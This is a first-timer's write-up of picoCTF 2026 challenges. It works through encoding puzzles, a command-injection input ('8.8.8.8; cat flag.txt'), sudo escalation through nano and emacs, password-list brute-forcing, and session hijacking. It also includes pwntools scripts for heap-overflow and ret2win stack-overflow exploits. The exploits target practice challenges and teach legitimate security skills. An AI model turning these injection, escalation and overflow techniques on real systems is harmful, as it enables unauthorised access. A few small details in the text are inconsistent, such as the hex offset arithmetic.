This was my first CTF.
Team name: nggyu, Rank: 1418, because I was slacking off the whole time. This only lists problems I solved—I haven’t solved the ones I didn’t do yet.

General Skills

Undo

After connecting, the challenge will appear:

--- Step 1 ---
Current flag: KTgxMzkzOW4zLWZhMDFnQHplMHNmYTRlRy1nazNnLXRhMWZlcmlyRShTR1BicHZj
Hint: Base64 encoded the string.
Enter the Linux command to reverse it:

It says the string is Base64 encoded—input the command to restore it: base64 -d.

--- Step 2 ---
Current flag: )813939n3-fa01g@ze0sfa4eG-gk3g-ta1ferirE(SGPbpvc
Hint: Reversed the text.
Enter the Linux command to reverse it:

This string is reversed—input the command to restore it: rev.

--- Step 3 ---
Current flag: cvpbPGS(Eriref1at-g3kg-Ge4afs0ez@g10af-3n939318)
Hint: Replaced underscores with dashes.
Enter the Linux command to reverse it:

The string has _ and - swapped—input the command to restore it: tr '-' '_'.

--- Step 4 ---
Current flag: cvpbPGS(Eriref1at_g3kg_Ge4afs0ez@g10af_3n939318)
Hint: Replaced curly braces with parentheses.
Enter the Linux command to reverse it:

This string has () and {} swapped. Input the command to restore it: tr '()' '{}'

--- Step 5 ---
Current flag: cvpbPGS{Eriref1at_g3kg_Ge4afs0ez@g10af_3n939318}
Hint: Applied ROT13 to letters.
Enter the Linux command to reverse it:

It asks me to ROT13 it, so tr 'a-zA-Z' 'n-za-mN-ZA-M'

MY GIT

After downloading the challenge, first check what README.md says:

# MyGit

### If you want the flag, make sure to push the flag!

Only flag.txt pushed by ```root:root@picoctf``` will be updated with the flag.

GOOD LUCK!

This means you need to change your configured name and email. In terminal:

git config --global user.name "root"
git config --global user.email "root@picoctf"

After changing, it says to push flag.txt, and it’ll give you the flag:

touch flag.txt
git add .
git commit -m "I want flag"
git push | grep "pico"

This will get you the flag.

bytemancy 0

The challenge asks you to send 1751 ASCII 101 characters (‘e’), with no spaces in between. The fastest method should be pwntools. Printing and copy-pasting should also work.

from pwn import *

r = remote('foggy-cliff.picoctf.net', YOUR_PORT)

payload = b"e" * 1751  ## ASCII 101 is 'e'

r.sendlineafter(b"==> ",payload)  ## Use sendlineafter to avoid the process is too fast

flag = r.recvall()
print(flag.decode())

Running this will get you the flag.

In pwntools there are several ways to send payloads:

  1. send(payload): sends raw bytes only
  2. sendline(payload): sends with automatic newline
  3. sendafter(delim, payload): sends after receiving delim
  4. sendlineafter(delim, payload): receives delim then sends with newline

bytemancy 1

The challenge looks exactly the same as the previous one—won’t write about it.

bytemancy 2

The challenge is the same as before, but it asks to send 0xff. That’s clearly an invisible character—can only use pwntools.

from pwn import *

r = remote('lonely-island.picoctf.net', 56363)

payload = b"\xff" * 3

r.sendlineafter(b"==> ",payload)

flag = r.recvall()
print(flag.decode())

bytemancy 3

The challenge will show three function names in succession—you need to find their addresses. Before writing the script, we need to know its context arch:

gdb ./spellbook

Enter checksec in gdb and find it’s i386.

from pwn import *
context.arch = 'i386'

elf = ELF('./spellbook')
r = remote('green-hill.picoctf.net', 57188)

def solve():
  r.recvuntil(b"procedure '")

  target = r.recvuntil(b"'", drop=True).decode()

  addr = elf.symbols[target]

  r.send(p32(addr))

for _ in range(3):
    solve()

r.interactive()

Printer Shares

The challenge asks to connect to a printer and print the flag. First connect to see:

smbclient -L //mysterious-sea.picoctf.net -p 62729 -N

After connecting, you should see a shared printer, Public Share With Guest. Then connect to it:

smbclient //mysterious-sea.picoctf.net/shares -p 62729 -N

This enters the printer. Use ls to see flag.txt.

get flag.txt

Disconnect and you’ll find the flag in your directory.

ping-cmd

This challenge limits you to ping 8.8.8.8, but if there’s a shell behind it, you can execute more than one line. Just input:

8.8.8.8; cat flag.txt

This bypasses the check and prints the flag.

ABSOLUTE NANO

This challenge is fun. After connecting, the flag is right there, but you don’t have permission to read it. I tried sudo, obviously it wouldn’t let me. So I entered:

sudo -l

This lists what you can use. I found /bin/nano /etc/sudoers. So I executed:

sudo /bin/nano /etc/sudoers

I added flag.txt to it, and it broke. How did it break? The vulnerability I exploited got messed up— even the nano they left was unusable. Had to restart.

After restarting, back in nano, I communicated with spirits realized this text editor can theoretically read files, so I pressed ctrl+R. Entered the file’s absolute path (since sudo makes you root now), and the flag appeared in nano.

Piece by Piece

The challenge looks like this after connecting:

ctf-player@pico-chall$ cat instructions.txt 
Hint:

- The flag is split into multiple parts as a zipped file.
- Use Linux commands to combine the parts into one file.
- The zip file is password protected. Use this "supersecret" password to extract the zip file.
- After unzipping, check the extracted text file for the flag.

Seems like combine the files then unzip:

cat part_aa part_ab part_ac part_ad part_ae > combined.zip
unzip -P supersecret conbined.zip
cat flag.txt

SUDO MAKE ME A SANDWICH

After connecting, the home directory has another flag.txt—visible but untouchable. Use sudo -l to see what’s available:

ctf-player@challenge:~$ ls
flag.txt
ctf-player@challenge:~$ sudo -l
Matching Defaults entries for ctf-player on challenge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User ctf-player may run the following commands on challenge:
    (ALL) NOPASSWD: /bin/emacs

Immediately there’s emacs:

sudo /bin/emacs flag.txt

Open it and there’s the flag.

Password Profiler

This challenge requires brute-forcing the password with a dictionary. The challenge gives personal info about someone. Look carefully at check_password.py—it mentions a package called cupp. Download and run it. It’ll ask questions—fill in the person’s name and info above, and it generates a password dictionary. Rename the generated passwords to passwords.txt. Put it in the same folder as check_password.py and run it—the flag appears.

Multi Code

After downloading the challenge’s message.txt, it looks like this:

NjM3NjcwNjI1MDQ3NTMyNTM3NDI2MTcyNjY2NzcyNzE1ZjcyNjE3MDMwNzE3NjYxNzQ1ZjM2MzY2ZjM1MzQzMjM1MzcyNTM3NDQ=

Take it to cyberchef. Since there are equals signs at the end, first guess Base64:

637670625047532537426172666772715f72617030717661745f36366f3534323537253744

Looks like strange numbers with ‘f’ in them—probably hex:

cvpbPGS%7Barfgrq_rap0qvat_66o54257%7D

Progress! Try URL decode:

cvpbPGS{arfgrq_rap0qvat_66o54257}

The answer is clear—obviously ROT13:

picoCTF{nested_enc0ding_66b54257}

It’s just a spirit communication contest, Applied Math department required.


Web

Old Session

Enter and there’s a login interface. Open F12—nothing in the HTML. Register an account and log in.

Someone left a comment saying /sessions has something weird? Let’s check it out!

It’s an admin session. Change yourself to admin, and you’ll see the flag.

Hashgate

This is a terrible problem. Enter and there’s another login screen. Find the login credentials in F12 HTML. After logging in, you notice your URL is the MD5 of an ID. What’s admin’s ID? Wrote a script brute-forcing from 0 to 3000—sadly none matched. Finally 3013 was admin_id. Try it.


Reverse

Gatekeeper

Put the challenge’s binary into gdb:

gdb ./gatekeeper

From this, to execute call <reveal_flag>, three conditions:

0x0000000000001647 <+200>:   cmp    DWORD PTR [rbp-0x38],0x3e7
0x000000000000164e <+207>:   jg     0x165e <main+223>
0x0000000000001650 <+209>:   lea    rdi,[rip+0xa2d]        # 0x2084
0x0000000000001657 <+216>:   call   0x1180 <puts@plt>
0x000000000000165c <+221>:   jmp    0x1693 <main+276>
0x000000000000165e <+223>:   cmp    DWORD PTR [rbp-0x38],0x270f
0x0000000000001665 <+230>:   jle    0x1675 <main+246>
0x0000000000001667 <+232>:   lea    rdi,[rip+0xa21]        # 0x208f
0x000000000000166e <+239>:   call   0x1180 <puts@plt>
0x0000000000001673 <+244>:   jmp    0x1693 <main+276>
0x0000000000001675 <+246>:   cmp    DWORD PTR [rbp-0x34],0x3
0x0000000000001679 <+250>:   jne    0x1687 <main+264>
0x000000000000167b <+252>:   mov    eax,0x0
0x0000000000001680 <+257>:   call   0x1449 <reveal_flag>
  1. DWORD PTR [rbp-0x38] must be greater than 0x3e7 (999) to jump to the next comparison.
  2. DWORD PTR [rbp-0x38] must be less than or equal to 0x270f (9999) to jump to the next comparison.
  3. DWORD PTR [rbp-0x34] cannot equal 3—if it does, it jumps elsewhere.

So what are DWORD PTR [rbp-0x38] and DWORD PTR [rbp-0x34]?

0x00000000000015ff <+128>:   call   0x1250 <atoi@plt>
0x0000000000001604 <+133>:   mov    DWORD PTR [rbp-0x38],eax

Since atoi’s result is stored in DWORD PTR [rbp-0x38], it’s our input.

0x00000000000015e0 <+97>:    call   0x11b0 <strlen@plt>
0x00000000000015e5 <+102>:   mov    DWORD PTR [rbp-0x34],eax

It calls strlen and stores in DWORD PTR [rbp-0x34], so it’s the length.

Conclusion: input length must equal three, value between 999 and 9999. Impossible in decimal, but possible in hex. Try values in that range:

}af5ftc_oc_ip7128ftc_oc_ipf_99ftc_oc_ip9_TGftc_oc_ip_xehftc_oc_ip_tigftc_oc_ipid_3ftc_oc_ip{FTCftc_oc_ipocipftc_oc_ip

Notice this flag seems reversed:

echo "}af5ftc_oc_ip7128ftc_oc_ipf_99ftc_oc_ip9_TGftc_oc_ip_xehftc_oc_ip_tigftc_oc_ipid_3ftc_oc_ip{FTCftc_oc_ipocipftc_oc_ip" | rev

Get:

pi_co_ctfpicopi_co_ctfCTF{pi_co_ctf3_dipi_co_ctfgit_pi_co_ctfhex_pi_co_ctfGT_9pi_co_ctf99_fpi_co_ctf8217pi_co_ctf5fa}

A thing full of noise—if you can communicate with spirits, you’ll notice pi_co_ctf is messing things up. Next command to eliminate it:

echo "pi_co_ctfpicopi_co_ctfCTF{pi_co_ctf3_dipi_co_ctfgit_pi_co_ctfhex_pi_co_ctfGT_9pi_co_ctf99_fpi_co_ctf8217pi_co_ctf5fa}" | sed 's/pi_co_ctf//g'

Done!

Hidden Cipher 1

This challenge gives you something at the start:

235a201d70201548251358110c552f135409

A mysterious string. If it’s encrypted, try XOR:

0x23 ^ 'p' (0x70) = 0x53 ('S')

0x5a ^ 'i' (0x69) = 0x33 ('3')

0x20 ^ 'c' (0x63) = 0x43 ('C')

0x1d ^ 'o' (0x6f) = 0x72 ('r')

0x70 ^ 'C' (0x43) = 0x33 ('3')

0x20 ^ 'T' (0x54) = 0x74 ('t')

Found the cyclic key. Next write a script to decode:

from itertools import cycle

hex_data = "235a201d702015483b1d412b265d3313501f0c072d135f0d2002302d01156a57224306172e"
key = b"S3Cr3t"

cipher_bytes = bytes.fromhex(hex_data)
# Use zip and cycle for Bitwise XOR
plain_bytes = bytes(c ^ k for c, k in zip(cipher_bytes, cycle(key)))

print(plain_bytes.decode())

Pwn

Before entering this section, read this article first—it’ll help a lot, meaning if you have some basics you won’t need me to write this in such detail.

Heap Havoc

Given a binary and C code. From the C code:

i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i1->callback = NULL;

i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
i2->callback = NULL;

strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);

if (i1->callback) i1->callback();
if (i2->callback) i2->callback();

Before the program ends, i2 will callback(). If we calculate the distance precisely during input and change callback() to winner(), we succeed. But we can’t directly overflow from i1 to i2->callback(). After input for i1, i2 needs input too—if we corrupt i2->name address before i2 input, memory error crashes the program. So we need to calculate the distance between them, change i2->name to a writable location, then point i2->callback() to winner().

Finding i1, i2 locations

gdb ./vuln
pwndbg> disas main
// here is only some of assembly code
   0x080493fb <+143>:   add    esp,0x10
   0x080493fe <+146>:   mov    DWORD PTR [ebp-0x1c],eax
   0x08049401 <+149>:   mov    eax,DWORD PTR [ebp-0x1c]
   0x08049404 <+152>:   mov    DWORD PTR [eax],0x1
   0x0804940a <+158>:   sub    esp,0xc
   0x0804940d <+161>:   push   0x8
   0x0804940f <+163>:   call   0x8049150 <malloc@plt>
   0x08049414 <+168>:   add    esp,0x10
   0x08049417 <+171>:   mov    edx,eax
   0x08049419 <+173>:   mov    eax,DWORD PTR [ebp-0x1c]
   0x0804941c <+176>:   mov    DWORD PTR [eax+0x4],edx
   0x0804941f <+179>:   mov    eax,DWORD PTR [ebp-0x1c]
   0x08049422 <+182>:   mov    DWORD PTR [eax+0x8],0x0
   0x08049429 <+189>:   sub    esp,0xc
   0x0804942c <+192>:   push   0xc
   0x0804942e <+194>:   call   0x8049150 <malloc@plt>
   0x08049433 <+199>:   add    esp,0x10
   0x08049436 <+202>:   mov    DWORD PTR [ebp-0x20],eax
   0x08049439 <+205>:   mov    eax,DWORD PTR [ebp-0x20]
   0x0804943c <+208>:   mov    DWORD PTR [eax],0x2

From this, i1 is at ebp-0x1c, i2 is at ebp-0x20. Set breakpoints to confirm their actual locations— they’re just pointers.

Use gdb to set breakpoints and print actual locations

We stop when copying to i1, observe its actual location:

pwndbg> b *main+264
pwndbg> r AAAA BBBB
pwndbg> x/wx $ebp-0x1c
0xffffcefc:     0x0804d5f0
pwndbg> x/wx $ebp-0x20
0xffffcef8:     0x0804d610
pwndbg> x/3wx 0x0804d5f0
0x804d5f0:      0x00000001     0x0804d600      0x00000000
              i1 -> priority    i1 -> name      i1 -> callback()
pwndbg> x/3wx 0x0804d610
0x804d610:      0x00000002      0x0804d620      0x00000000
              i2 -> priority    i2 -> name      i2 -> callback()

After knowing their locations, i1->name and i2->name distance is 0x0804d610 - 0x0804d600 = 0x20 = 16.

from pwn import *

context.arch = 'i386'
context.log_level = 'debug'

r = remote("foggy-cliff.picoctf.net", 54943)

OFFSET = 20                  ## Here we overwrite i2->priority so +4
BSS_ADDR = 0x0804c888
WINNER_ADDR = 0x080492b6

payload1 = b"A" * OFFSET + p32(BSS_ADDR) + p32(WINNER_ADDR)
payload2 = b"SAFE"

payload_total = payload1 + b" " + payload2

r.recvuntil(b"Enter two names separated by space:\n")

r.sendline(payload_total)

r.interactive()

Echo Escape 1

Given a binary and code. First look at the code:

#include <stdio.h>
#include <unistd.h>
#include <string.h>

void win() {
    FILE *fp = fopen("flag.txt", "rb");
    if (!fp) {
        perror("[!] Failed to open flag.txt");
        return;
    }

    char buffer[128];
    size_t n = fread(buffer, 1, sizeof(buffer), fp);
    fwrite(buffer, 1, n, stdout);
    fflush(stdout);
    printf("\n");
    fclose(fp);
}

int main() {
    char buf[32];

    printf("Welcome to the secure echo service!\n");
    printf("Please enter your name: ");
    fflush(stdout);

    read(0, buf, 128);

    printf("Hello, %s\n", buf);
    printf("Thank you for using our service.\n");

    return 0;
}

Classic ret2win. Buffer declared is only 32 bytes, but read() accepts 128 bytes. So Buffer Over Flow can change return address to win(). Use gdb to find the target location:

pwndbg> disas main
Dump of assembler code for function main:
   0x00000000004012fb <+0>:     endbr64
   0x00000000004012ff <+4>:     push   rbp
   0x0000000000401300 <+5>:     mov    rbp,rsp
   0x0000000000401303 <+8>:     sub    rsp,0x20
   0x0000000000401307 <+12>:    lea    rdi,[rip+0xd22]        # 0x402030
   0x000000000040130e <+19>:    call   0x4010e0 <puts@plt>
   0x0000000000401313 <+24>:    lea    rdi,[rip+0xd3a]        # 0x402054
   0x000000000040131a <+31>:    mov    eax,0x0
   0x000000000040131f <+36>:    call   0x401110 <printf@plt>
   0x0000000000401324 <+41>:    mov    rax,QWORD PTR [rip+0x2d4d]        # 0x404078 <stdout@@GLIBC_2.2.5>
   0x000000000040132b <+48>:    mov    rdi,rax
   0x000000000040132e <+51>:    call   0x401130 <fflush@plt>
   0x0000000000401333 <+56>:    lea    rax,[rbp-0x20]
   0x0000000000401337 <+60>:    mov    edx,0x80
   0x000000000040133c <+65>:    mov    rsi,rax
   0x000000000040133f <+68>:    mov    edi,0x0
   0x0000000000401344 <+73>:    call   0x401120 <read@plt>
   0x0000000000401349 <+78>:    lea    rax,[rbp-0x20]
   0x000000000040134d <+82>:    mov    rsi,rax
   0x0000000000401350 <+85>:    lea    rdi,[rip+0xd16]        # 0x40206d
   0x0000000000401357 <+92>:    mov    eax,0x0
   0x000000000040135c <+97>:    call   0x401110 <printf@plt>
   0x0000000000401361 <+102>:   lea    rdi,[rip+0xd10]        # 0x402078
   0x0000000000401368 <+109>:   call   0x4010e0 <puts@plt>
   0x000000000040136d <+114>:   mov    eax,0x0
   0x0000000000401372 <+119>:   leave
   0x0000000000401373 <+120>:   ret
End of assembler dump.

We need to find the win function location before call read@plt, because registers need to be prepared to call a function. In x86_64, $rax is for return values, so the register storing our input is rbp-0x20. Based on stack layout, we need 32 (offset) + 8 (rbp) bytes to reach the return address:

from pwn import *
context.arch = 'amd64'

elf = ELF('./vuln')
r = remote('mysterious-sea.picoctf.net',58762)

# Offset = 32 (offset) + 8 (rbp) = 40
win_addr = elf.symbols['win']
payload = b'A' * 40 + p64(win_addr)

r.send(payload)
r.interactive()

Echo Escape 2

Same method as previous problem—can follow the same pattern. Won’t write about it:

from pwn import *
context.arch = 'i386'

# 1. Connect
r = remote('dolphin-cove.picoctf.net', 63023)
elf = ELF('./vuln')

# 2. Define target address (win function)
win_addr = elf.symbols['win']

# 3. Construct Payload
# 40(offset) + 4(rbp) bytes + target address
payload = b'A' * 44 + p32(win_addr)

# 4. Send and get Flag
r.sendline(payload)
r.interactive()

offset-cycle & offset-cycleV2

Both are ret2win, but can only operate on their machine with time limits. On entry:

./start

It’ll give you the challenge—the C code is the same, but if you don’t finish within the time limit, it resets. The offset changes each time. Write your exploit first, enter to find the offset, quickly exit to modify and execute. It’s a speed contest—nothing special.

Quizploit

Download the executable—it’ll ask some questions. Answer all correctly and you get the flag. First run with gdb:

pwndbg> checksec
File:     /home/kali/Downloads/vuln
Arch:     amd64
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:     Enabled
IBT:       Enabled
Stripped:  No

This reveals a lot. Keep the C code open for reference.

[*] Question number 0x1:

Is this a '32-bit' or '64-bit' ELF? (e.g. 100-bit)

💡 Hint: Check if the system is x86_64 or x86. No compilation flag specified means default.

>> 64-bit

✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ 
✅                    ✅
✅      Correct!      ✅
✅                    ✅
✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ 

// From checksec, Arch: amd64 means 64 bits


[*] Question number 0x2:

What's the linking of the binary? (e.g. static, dynamic)

💡 Hint: The program uses standard library functions like fprintf, fgets, and system.

>> dynamic

// From checksec we know RELRO is enabled—must be dynamic.


[*] Question number 0x3:

Is the binary 'stripped' or 'not stripped'?

💡 Hint: By default, binaries compiled without the -s flag contain debugging symbols.

>> not stripped

// checksec says


[*] Question number 0x4:

Looking at the vuln() function, what is the size of the buffer in bytes? (e.g. 0x10)

💡 Hint: Check the declaration in the function and answer in either hex or decimal

>> 21

// Answer in source code


[*] Question number 0x5:

How many bytes are read into the buffer? (e.g. 0x10)

💡 Hint: Check the fgets

>> 144

// Answer in source code


[*] Question number 0x6:

Is there a buffer overflow vulnerability? (yes/no)

💡 Hint: Compare buffer size and input size

>> yes

// fgets limits input larger than buffer, so BOF


[*] Question number 0x7:

Name a standard C function that could cause a buffer overflow in the provided C code.

💡 Hint: (e.g. fprintf)

>> fgets

[*] Question number 0x8:

What is the name of function which is not called any where in the program?

💡 Hint: Analyze the source

>> win

// Answer in source code


[*] Question number 0x9:

What type of attack could exploit this vulnerability? (e.g. format string, buffer overflow, etc.)

💡 Hint: Try interpreting the information gathered so far

>> buffer overflow

// Same as question 6


[*] Question number 0xa:

How many bytes of overflow are possible? (e.g. 0x10)

💡 Hint: Subtract values

>> 123

// fgets size - buffer size


[*] Question number 0xb:

What protection is enabled in this binary?

💡 Hint: Learn to use checksec

>> NX

// in checksec


[*] Question number 0xc:

What exploitation technique could bypass NX? (e.g. shellcode, ROP, format string)

💡 Hint: Choose from the options

>> ROP

// Links explain what ROP is


[*] Question number 0xd:

What is the address of 'win()' in hex? (e.g. 0x4011eb)

💡 Hint: Use gdb/objdump to find the address

>> 0x401176

// In gdb: p win


========================================================================================================
QUIZ COMPLETE!
========================================================================================================

🎉 PERFECT SCORE! 🎉
You got 13/13 questions correct!

Flag:

That’s the writeup. Writeups are for people who don’t know—so if you don’t understand, feel free to email me. But before emailing, at least know how to use Linux and have finished reading all the links in this article, I don’t believe anyone can finish and still not understand. The next CTF is My First CTF—welcome to join our team.

picoCTF 2026 Writeup

作者

Windson

發布日期

2026 - 03 - 20

版權

CC-BY-SA 4.0